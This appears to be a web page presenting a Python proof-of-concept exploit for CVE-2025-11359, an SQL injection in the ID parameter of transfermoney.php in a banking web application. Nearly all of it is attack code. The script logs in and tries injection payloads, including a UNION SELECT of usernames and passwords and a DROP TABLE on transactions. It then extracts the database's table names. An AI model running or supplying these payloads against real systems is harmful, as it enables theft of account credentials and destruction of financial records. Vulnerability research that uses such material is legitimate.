CVE-2025-11359：Simple Banking System SQL注入漏洞

# CVE-2025-11359 - Simple Banking System SQL Injection PoC # Vulnerability: SQL Injection in /transfermoney.php via ID parameter # Author: Security Researcher import requests import sys TARGET_URL = "http://target.com/transfermoney.php" USERNAME = "testuser" PASSWORD = "testpass" def exploit_sql_injection(target_url, session_cookie, injection_payload): """ Exploit SQL injection in the ID parameter of transfermoney.php """ headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Inject malicious SQL payload into the ID parameter data = { "ID": injection_payload, "amount": "100", "submit": "Transfer" } response = requests.post(target_url, headers=headers, data=data) return response.text # Step 1: Login to obtain session session = requests.Session() login_data = {"username": USERNAME, "password": PASSWORD} session.post("http://target.com/login.php", data=login_data) # Step 2: Test basic SQL injection payloads = [ "1' OR '1'='1", "1' UNION SELECT username,password FROM users-- -", "1' AND 1=1-- -", "1' AND (SELECT @@version)-- -", "1'; DROP TABLE transactions-- -" ] for payload in payloads: print(f"[*] Testing payload: {payload}") result = exploit_sql_injection(TARGET_URL, session.cookies, payload) if "error" in result.lower() or "syntax" in result.lower(): print(f"[+] SQL Injection confirmed with payload: {payload}") break # Step 3: Extract database information using UNION-based injection union_payload = "-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -" data_extracted = exploit_sql_injection(TARGET_URL, session.cookies, union_payload) print(f"[+] Extracted data: {data_extracted}")